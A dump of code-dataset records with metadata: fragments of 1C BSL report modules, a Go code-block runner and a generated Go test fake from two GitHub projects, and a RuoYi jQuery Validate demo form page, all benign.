ПредставлениеЭлементаДанных(ЭлементДанных) ОбъектМетаданных = Метаданные.НайтиПоТипу(ТипЗнч(ЭлементДанных)); Если Не ОбщегоНазначения.ЭтоРегистр(ОбъектМетаданных) Тогда Возврат Строка(ЭлементДанных); КонецЕсли; ПредставлениеДанных = ОбъектМетаданных.Представление(); ОписаниеПолей = СтандартныеПодсистемыСервер.ОписаниеКлючаЗаписи( ОбъектМетаданных.ПолноеИмя()).ОписаниеПолей; СписокПолей = Новый Массив; Для Каждого ОписаниеПоля Из ОписаниеПолей Цикл СписокПолей.Добавить(СтрШаблон(" %1 = ""%2""", ОписаниеПоля.Представление, Строка(ЭлементДанных[ОписаниеПоля.Имя]))); КонецЦикла; ШаблонПредставления = ?(ОписаниеПолей.Количество() = 1, НСтр("ru = 'Запись регистра ""%1"" с ключевым полем: |%2'"), НСтр("ru = 'Запись регистра ""%1"" с ключевыми полями: |%2'")); Возврат СтроковыеФункцииКлиентСервер.ПодставитьПараметрыВСтроку(ШаблонПредставления, ПредставлениеДанных, СтрСоединить(СписокПолей, "," + Символы.ПС)); КонецФункции Функция ОтборПоЗначениюДоступа() ПолеОтбора = КомпоновщикНастроек.ПолучитьНастройки().ПараметрыДанных.Элементы.Найти("ЗначениеДоступа"); Возврат ПолеОтбора.Значение; КонецФункции Функция ЗначениеПараметраИзНастройки(ПользовательскиеНастройкиКД, ИмяПараметра, ЗначениеПоУмолчанию = Неопределено) Параметр = Новый ПараметрКомпоновкиДанных(ИмяПараметра); Значение = ЗначениеПоУмолчанию; Если ПользовательскиеНастройкиКД = Неопределено Тогда Возврат Значение; КонецЕсли; Для Каждого ЭлементПользовательскойНастройки Из ПользовательскиеНастройкиКД.Элементы Цикл Если ТипЗнч(ЭлементПользовательскойНастройки) = Тип("ЗначениеПараметраНастроекКомпоновкиДанных") И ЭлементПользовательскойНастройки.Параметр = Параметр Тогда Если ЭлементПользовательскойНастройки.Использование Тогда Значение = ЭлементПользовательскойНастройки.Значение; КонецЕсли; Прервать; КонецЕсли; КонецЦикла; Возврат Значение; КонецФункции Процедура УстановитьИспользованиеГруппировок(Группировки, НастройкиКД, ПользовательскиеНастройкиКД) Для Каждого Группировка Из Группировки Цикл Отчеты.АнализПравДоступа.УстановитьИспользованиеГруппировки( Группировка.Ключ, Группировка.Значение, НастройкиКД, ПользовательскиеНастройкиКД); КонецЦикла; КонецПроцедуры #КонецОбласти #Иначе ВызватьИсключение НСтр("ru = 'Недопустимый вызов объекта на клиенте.'"); #КонецЕсли
125,588
ObjectModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 8664, "qsc_code_num_chars": 125588.0, "qsc_code_mean_word_length": 11.53681902, "qsc_code_frac_words_unique": 0.09187442, "qsc_code_frac_chars_top_2grams": 0.01170527, "qsc_code_frac_chars_top_3grams": 0.00522235, "qsc_code_frac_chars_top_4grams": 0.00252113, "qsc_code_frac_chars_dupe_5grams": 0.44225902, "qsc_code_frac_chars_dupe_6grams": 0.39519784, "qsc_code_frac_chars_dupe_7grams": 0.35807113, "qsc_code_frac_chars_dupe_8grams": 0.33320994, "qsc_code_frac_chars_dupe_9grams": 0.30680806, "qsc_code_frac_chars_dupe_10grams": 0.28985043, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00200009, "qsc_code_frac_chars_whitespace": 0.12017868, "qsc_code_size_file_byte": 125588.0, "qsc_code_num_lines": 3056.0, "qsc_code_num_chars_line_max": 176.0, "qsc_code_num_chars_line_mean": 41.09554974, "qsc_code_frac_chars_alphabet": 0.90252953, "qsc_code_frac_chars_comments": 0.98931427, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.37037037, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1xyz/pryrite
inspector/code_block.go
package inspector import ( "fmt" "os" "os/signal" "strings" "syscall" "github.com/1xyz/pryrite/graph" "github.com/1xyz/pryrite/graph/log" "github.com/1xyz/pryrite/internal/history" "github.com/1xyz/pryrite/markdown" "github.com/1xyz/pryrite/run" "github.com/1xyz/pryrite/tools" ) func newCodeBlock(index int, prefix string, b *graph.Block, n *graph.Node, r *run.Run, h history.History) *codeBlock { return &codeBlock{ index: index, block: b, node: n, exitAction: nil, prefix: prefix, runner: r, hist: h, } } type codeBlock struct { // index is this codeblock's entry in codeblock list index int // nBlocks is the total number of code blocks nBlocks int block *graph.Block node *graph.Node runner *run.Run // exitAction is actionable exit information // when the code block exits from the repl, an exitAction can be set // if an action needs to be taken by the caller exitAction *BlockAction // prefix is the prompt prefix string prefix string // history used when executing commands with this codeblock hist history.History } func (c *codeBlock) SetNBlocks(nblocks int) { c.nBlocks = nblocks } func (c *codeBlock) SetExitAction(action *BlockAction) { c.exitAction = action } func (c *codeBlock) GetExitAction() (*BlockAction, bool) { return c.exitAction, c.exitAction != nil } // RunBlock runs the current block and returns a boolean value whether it was successful func (c *codeBlock) RunBlock() bool { tools.LogStdout("Running (%s): %s\n", c.block.ContentType, c.block.Content) doneCh := make(chan bool) c.runner.SetExecutionUpdateFn(func(entry *log.ResultLogEntry) { logResultLogEntry(entry) switch entry.State { case log.ExecStateCompleted: doneCh <- true close(doneCh) case log.ExecStateFailed: doneCh <- false close(doneCh) default: // do nothing } }) c.runner.SetStatusUpdateFn(func(status *run.Status) { switch status.Level { case run.StatusError: tools.Log.Error().Msgf(status.Message) default: tools.Log.Info().Msgf(status.Message) } }) defer func() { c.runner.SetExecutionUpdateFn(nil) c.runner.SetStatusUpdateFn(nil) }() reqID, err := c.runner.ExecuteBlock(c.node, c.block, os.Stdout, os.Stderr) if err != nil { tools.LogStdError("\U0000274C Execution failed: %s", err) return false } next := false sigCh := make(chan os.Signal, 1) // ToDo: the Ctrl+C is not captured because the go-prompt's run // is on the main go-routine. signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) select { case sig := <-sigCh: tools.LogStdout("signal %v received", sig) c.runner.CancelBlock(c.node.ID, reqID) case success := <-doneCh: next = success } return next } func (c *codeBlock) WhereAmI() { cursor := &markdown.Cursor{} sb := strings.Builder{} for _, block := range c.node.Blocks { if block.ID == c.block.ID { cursor.Start = sb.Len() cursor.Stop = cursor.Start + len(block.Content) } sb.WriteString(block.Content) } fmt.Println(md(sb.String(), "", cursor)) } func (c *codeBlock) String() string { return fmt.Sprintf("[%d/%d] %s/%s - %s", c.index, c.nBlocks, c.node.ID, c.block.ID, tools.TrimLength(c.block.Content, 15)) } func (c *codeBlock) QualifiedID() string { return fmt.Sprintf("%s :: %s", c.prefix, c.block.ID) } func (c *codeBlock) Block() *graph.Block { return c.block } func (c *codeBlock) Index() int { return c.index } func (c *codeBlock) Len() int { return c.nBlocks } func logResultLogEntry(entry *log.ResultLogEntry) { tools.Log.Info().Msgf( "executionID: %s | requestID: %s | nodeID: %s | blockID: %s | result: %v | Err: %s", entry.ExecutionID, entry.RequestID, entry.NodeID, entry.BlockID, entry.State, entry.Err) displayResultLogEntry(entry) } func displayResultLogEntry(entry *log.ResultLogEntry) { switch entry.State { case log.ExecStateCompleted: exitInfo := "" if len(entry.ExitStatus) > 0 { exitInfo = fmt.Sprintf("exit-status: [%s]", entry.ExitStatus) } tools.LogStdout("\U00002705 Execution completed; %s\n", exitInfo) case log.ExecStateCanceled, log.ExecStateFailed: exitInfo := "" if len(entry.ExitStatus) > 0 { exitInfo = fmt.Sprintf("exit-status: [%s]", entry.ExitStatus) } tools.LogStdError("\U0000274C Execution %s; %s %s\n", entry.State, entry.Err, exitInfo) default: // do nothing } }
4,389
code_block
go
en
go
code
{"qsc_code_num_words": 586, "qsc_code_num_chars": 4389.0, "qsc_code_mean_word_length": 5.13481229, "qsc_code_frac_words_unique": 0.31228669, "qsc_code_frac_chars_top_2grams": 0.0182785, "qsc_code_frac_chars_top_3grams": 0.04652709, "qsc_code_frac_chars_top_4grams": 0.03988036, "qsc_code_frac_chars_dupe_5grams": 0.09571286, "qsc_code_frac_chars_dupe_6grams": 0.07909605, "qsc_code_frac_chars_dupe_7grams": 0.05184447, "qsc_code_frac_chars_dupe_8grams": 0.05184447, "qsc_code_frac_chars_dupe_9grams": 0.05184447, "qsc_code_frac_chars_dupe_10grams": 0.05184447, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00910847, "qsc_code_frac_chars_whitespace": 0.17452723, "qsc_code_size_file_byte": 4389.0, "qsc_code_num_lines": 164.0, "qsc_code_num_chars_line_max": 119.0, "qsc_code_num_chars_line_mean": 26.76219512, "qsc_code_frac_chars_alphabet": 0.82141871, "qsc_code_frac_chars_comments": 0.12713602, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12686567, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00746269, "qsc_code_frac_chars_string_length": 0.12920908, "qsc_code_frac_chars_long_word_length": 0.04959541, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00609756, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.09701493, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.15671642, "qsc_codego_frac_lines_print": 0.00746269}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
cluster/server/serverfakes/fake_jsm_tick.go
// Code generated by counterfeiter. DO NOT EDIT. package serverfakes import ( "sync" coolbeans_api_v1 "github.com/1xyz/coolbeans/api/v1" "github.com/1xyz/coolbeans/cluster/server" ) type FakeJsmTick struct { TickStub func() (*coolbeans_api_v1.TickResponse, error) tickMutex sync.RWMutex tickArgsForCall []struct { } tickReturns struct { result1 *coolbeans_api_v1.TickResponse result2 error } tickReturnsOnCall map[int]struct { result1 *coolbeans_api_v1.TickResponse result2 error } invocations map[string][][]interface{} invocationsMutex sync.RWMutex } func (fake *FakeJsmTick) Tick() (*coolbeans_api_v1.TickResponse, error) { fake.tickMutex.Lock() ret, specificReturn := fake.tickReturnsOnCall[len(fake.tickArgsForCall)] fake.tickArgsForCall = append(fake.tickArgsForCall, struct { }{}) fake.recordInvocation("Tick", []interface{}{}) fake.tickMutex.Unlock() if fake.TickStub != nil { return fake.TickStub() } if specificReturn { return ret.result1, ret.result2 } fakeReturns := fake.tickReturns return fakeReturns.result1, fakeReturns.result2 } func (fake *FakeJsmTick) TickCallCount() int { fake.tickMutex.RLock() defer fake.tickMutex.RUnlock() return len(fake.tickArgsForCall) } func (fake *FakeJsmTick) TickCalls(stub func() (*coolbeans_api_v1.TickResponse, error)) { fake.tickMutex.Lock() defer fake.tickMutex.Unlock() fake.TickStub = stub } func (fake *FakeJsmTick) TickReturns(result1 *coolbeans_api_v1.TickResponse, result2 error) { fake.tickMutex.Lock() defer fake.tickMutex.Unlock() fake.TickStub = nil fake.tickReturns = struct { result1 *coolbeans_api_v1.TickResponse result2 error }{result1, result2} } func (fake *FakeJsmTick) TickReturnsOnCall(i int, result1 *coolbeans_api_v1.TickResponse, result2 error) { fake.tickMutex.Lock() defer fake.tickMutex.Unlock() fake.TickStub = nil if fake.tickReturnsOnCall == nil { fake.tickReturnsOnCall = make(map[int]struct { result1 *coolbeans_api_v1.TickResponse result2 error }) } fake.tickReturnsOnCall[i] = struct { result1 *coolbeans_api_v1.TickResponse result2 error }{result1, result2} } func (fake *FakeJsmTick) Invocations() map[string][][]interface{} { fake.invocationsMutex.RLock() defer fake.invocationsMutex.RUnlock() fake.tickMutex.RLock() defer fake.tickMutex.RUnlock() copiedInvocations := map[string][][]interface{}{} for key, value := range fake.invocations { copiedInvocations[key] = value } return copiedInvocations } func (fake *FakeJsmTick) recordInvocation(key string, args []interface{}) { fake.invocationsMutex.Lock() defer fake.invocationsMutex.Unlock() if fake.invocations == nil { fake.invocations = map[string][][]interface{}{} } if fake.invocations[key] == nil { fake.invocations[key] = [][]interface{}{} } fake.invocations[key] = append(fake.invocations[key], args) } var _ server.JsmTick = new(FakeJsmTick)
2,914
fake_jsm_tick
go
en
go
code
{"qsc_code_num_words": 327, "qsc_code_num_chars": 2914.0, "qsc_code_mean_word_length": 6.56269113, "qsc_code_frac_words_unique": 0.21100917, "qsc_code_frac_chars_top_2grams": 0.06710158, "qsc_code_frac_chars_top_3grams": 0.07828518, "qsc_code_frac_chars_top_4grams": 0.12115564, "qsc_code_frac_chars_dupe_5grams": 0.41053122, "qsc_code_frac_chars_dupe_6grams": 0.41053122, "qsc_code_frac_chars_dupe_7grams": 0.39235788, "qsc_code_frac_chars_dupe_8grams": 0.32292637, "qsc_code_frac_chars_dupe_9grams": 0.28657968, "qsc_code_frac_chars_dupe_10grams": 0.25256291, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01420679, "qsc_code_frac_chars_whitespace": 0.13040494, "qsc_code_size_file_byte": 2914.0, "qsc_code_num_lines": 107.0, "qsc_code_num_chars_line_max": 107.0, "qsc_code_num_chars_line_mean": 27.23364486, "qsc_code_frac_chars_alphabet": 0.83267561, "qsc_code_frac_chars_comments": 0.0164722, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.26315789, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02791347, "qsc_code_frac_chars_long_word_length": 0.02512212, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.07368421, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.14736842, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1c-syntax/ssl_3_1
src/cf/Reports/АналитическийОтчетПоАнкетированию/Ext/ManagerModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Параметры: // Настройки - см. ВариантыОтчетовПереопределяемый.НастроитьВариантыОтчетов.Настройки. // НастройкиОтчета - см. ВариантыОтчетов.ОписаниеОтчета. // Процедура НастроитьВариантыОтчета(Настройки, НастройкиОтчета) Экспорт МодульВариантыОтчетов = ОбщегоНазначения.ОбщийМодуль("ВариантыОтчетов"); МодульВариантыОтчетов.УстановитьРежимВыводаВПанеляхОтчетов(Настройки, НастройкиОтчета, Ложь); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПросмотрОтветовПростыеВопросы"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о том, как отвечали респонденты на простые вопросы.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПросмотрТабличныхВопросовПлоскийВид"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о том, как отвечали респонденты на табличные вопросы. |Выводится в виде списка с группировками.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПросмотрТабличныхВопросовТабличныйВид"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о том, как отвечали респонденты на табличные вопросы. |Каждый ответ респондента представлен в виде таблицы.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПростыеВопросыКоличествоОтветов"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о том, сколько раз был дан вариант ответа на простой вопрос.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПростыеВопросыАгрегируемыеПоказатели"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о среднем, минимальном, максимальном ответе на простой вопрос, |который требует числового ответа.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ТабличныеВопросыКоличествоОтветов"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о том, сколько раз был дан варианта ответа для табличных вопросов, |который требует указания числового значения.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ТабличныеВопросыАгрегируемыеПоказатели"); НастройкиВарианта.Описание = НСтр("ru = 'Информация о среднем, минимальном, максимальном ответе в ячейке табличного вопроса, |который требует указания числового значения.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ПростыеВопросыКоличествоОтветовСравнениеПоОпросам"); НастройкиВарианта.Описание = НСтр("ru = 'Сравнительный анализ количества данных вариантов ответов |на простые вопросы в разных опросах.'"); НастройкиВарианта = МодульВариантыОтчетов.ОписаниеВарианта(Настройки, НастройкиОтчета, "ТабличныеВопросыАгрегируемыеПоказателиСравнениеПоОпросам"); НастройкиВарианта.Описание = НСтр("ru = 'Сравнительный анализ агрегируемых показателей ответов в ячейках |табличных вопросов разных опросов.'"); КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #КонецЕсли
3,768
ManagerModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 296, "qsc_code_num_chars": 3768.0, "qsc_code_mean_word_length": 9.85135135, "qsc_code_frac_words_unique": 0.45608108, "qsc_code_frac_chars_top_2grams": 0.09876543, "qsc_code_frac_chars_top_3grams": 0.16666667, "qsc_code_frac_chars_top_4grams": 0.19444444, "qsc_code_frac_chars_dupe_5grams": 0.47908093, "qsc_code_frac_chars_dupe_6grams": 0.29183813, "qsc_code_frac_chars_dupe_7grams": 0.25754458, "qsc_code_frac_chars_dupe_8grams": 0.25754458, "qsc_code_frac_chars_dupe_9grams": 0.25754458, "qsc_code_frac_chars_dupe_10grams": 0.25754458, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0032372, "qsc_code_frac_chars_whitespace": 0.09819533, "qsc_code_size_file_byte": 3768.0, "qsc_code_num_lines": 73.0, "qsc_code_num_chars_line_max": 149.0, "qsc_code_num_chars_line_mean": 51.61643836, "qsc_code_frac_chars_alphabet": 0.85462036, "qsc_code_frac_chars_comments": 0.97213376, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/validate.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('表单校验')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>jQuery Validate 简介</h5> </div> <div class="ibox-content"> <p>jquery.validate.js 是一款优秀的jQuery表单验证插件。它具有如下特点:</p> <ul> <li>安装简单</li> <li>内置超过20种数据验证方法</li> <li>直列错误提示信息</li> <li>可扩展的数据验证方法</li> <li>使用内置的元数据或插件选项来指定您的验证规则</li> <li>优雅的交互设计</li> </ul> <p>官网:<a href="http://jqueryvalidation.org/" target="_blank">http://jqueryvalidation.org/</a> </p> </div> </div> </div> </div> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>简单示例</h5> </div> <div class="ibox-content"> <form class="form-horizontal m-t" id="commentForm"> <div class="form-group"> <label class="col-sm-3 control-label">姓名:</label> <div class="col-sm-8"> <input id="cname" name="name" minlength="2" type="text" class="form-control" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">E-mail:</label> <div class="col-sm-8"> <input id="cemail" type="email" class="form-control" name="email" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">网站:</label> <div class="col-sm-8"> <input id="curl" type="url" class="form-control" name="url"> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">说明:</label> <div class="col-sm-8"> <textarea id="ccomment" name="comment" class="form-control" required></textarea> </div> </div> <div class="form-group"> <div class="col-sm-4 col-sm-offset-3"> <button class="btn btn-primary" type="submit">提交</button> </div> </div> </form> </div> </div> <div class="ibox float-e-margins"> <div class="ibox-content"> <p class="m-t">更多示例请访问官方示例页面:<a href="http://jqueryvalidation.org/files/demo/" target="_blank">查看</a> </p> <p>中文API可参考:<a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#jquery-validate" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#jquery-validate</a> </p> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>完整验证表单</h5> </div> <div class="ibox-content"> <form class="form-horizontal m-t" id="signupForm"> <div class="form-group"> <label class="col-sm-3 control-label">姓氏:</label> <div class="col-sm-8"> <input id="firstname" name="firstname" class="form-control" type="text"> <span class="help-block m-b-none"><i class="fa fa-info-circle"></i> 这里写点提示的内容</span> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">名字:</label> <div class="col-sm-8"> <input id="lastname" name="lastname" class="form-control" type="text" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">用户名:</label> <div class="col-sm-8"> <input id="username" name="username" class="form-control" type="text" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">密码:</label> <div class="col-sm-8"> <input id="password" name="password" class="form-control" type="password"> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">确认密码:</label> <div class="col-sm-8"> <input id="confirm_password" name="confirm_password" class="form-control" type="password"> <span class="help-block m-b-none"><i class="fa fa-info-circle"></i> 请再次输入您的密码</span> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">E-mail:</label> <div class="col-sm-8"> <input id="email" name="email" class="form-control" type="email"> </div> </div> <div class="form-group"> <div class="col-sm-8 col-sm-offset-3"> <button class="btn btn-primary" type="submit">提交</button> </div> </div> </form> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <script type="text/javascript"> $(function(){ $("#commentForm").validate(); var icon = "<i class='fa fa-times-circle'></i> "; $("#signupForm").validate({ rules: { firstname: "required", lastname: "required", username: { required: true, minlength: 2 }, password: { required: true, minlength: 5 }, confirm_password: { required: true, minlength: 5, equalTo: "#password" }, email: { required: true, email: true } }, messages: { firstname: icon + "请输入你的姓", lastname: icon + "请输入您的名字", username: { required: icon + "请输入您的用户名", minlength: icon + "用户名必须两个字符以上" }, password: { required: icon + "请输入您的密码", minlength: icon + "密码必须5个字符以上" }, confirm_password: { required: icon + "请再次输入密码", minlength: icon + "密码必须5个字符以上", equalTo: icon + "两次输入的密码不一致" }, email: icon + "请输入您的E-mail" } }); $("#username").focus(function () { var firstname = $("#firstname").val(); var lastname = $("#lastname").val(); if (firstname && lastname && !this.value) { this.value = firstname + "." + lastname; } }); }); </script> </body> </html>
9,007
validate
html
zh
html
code
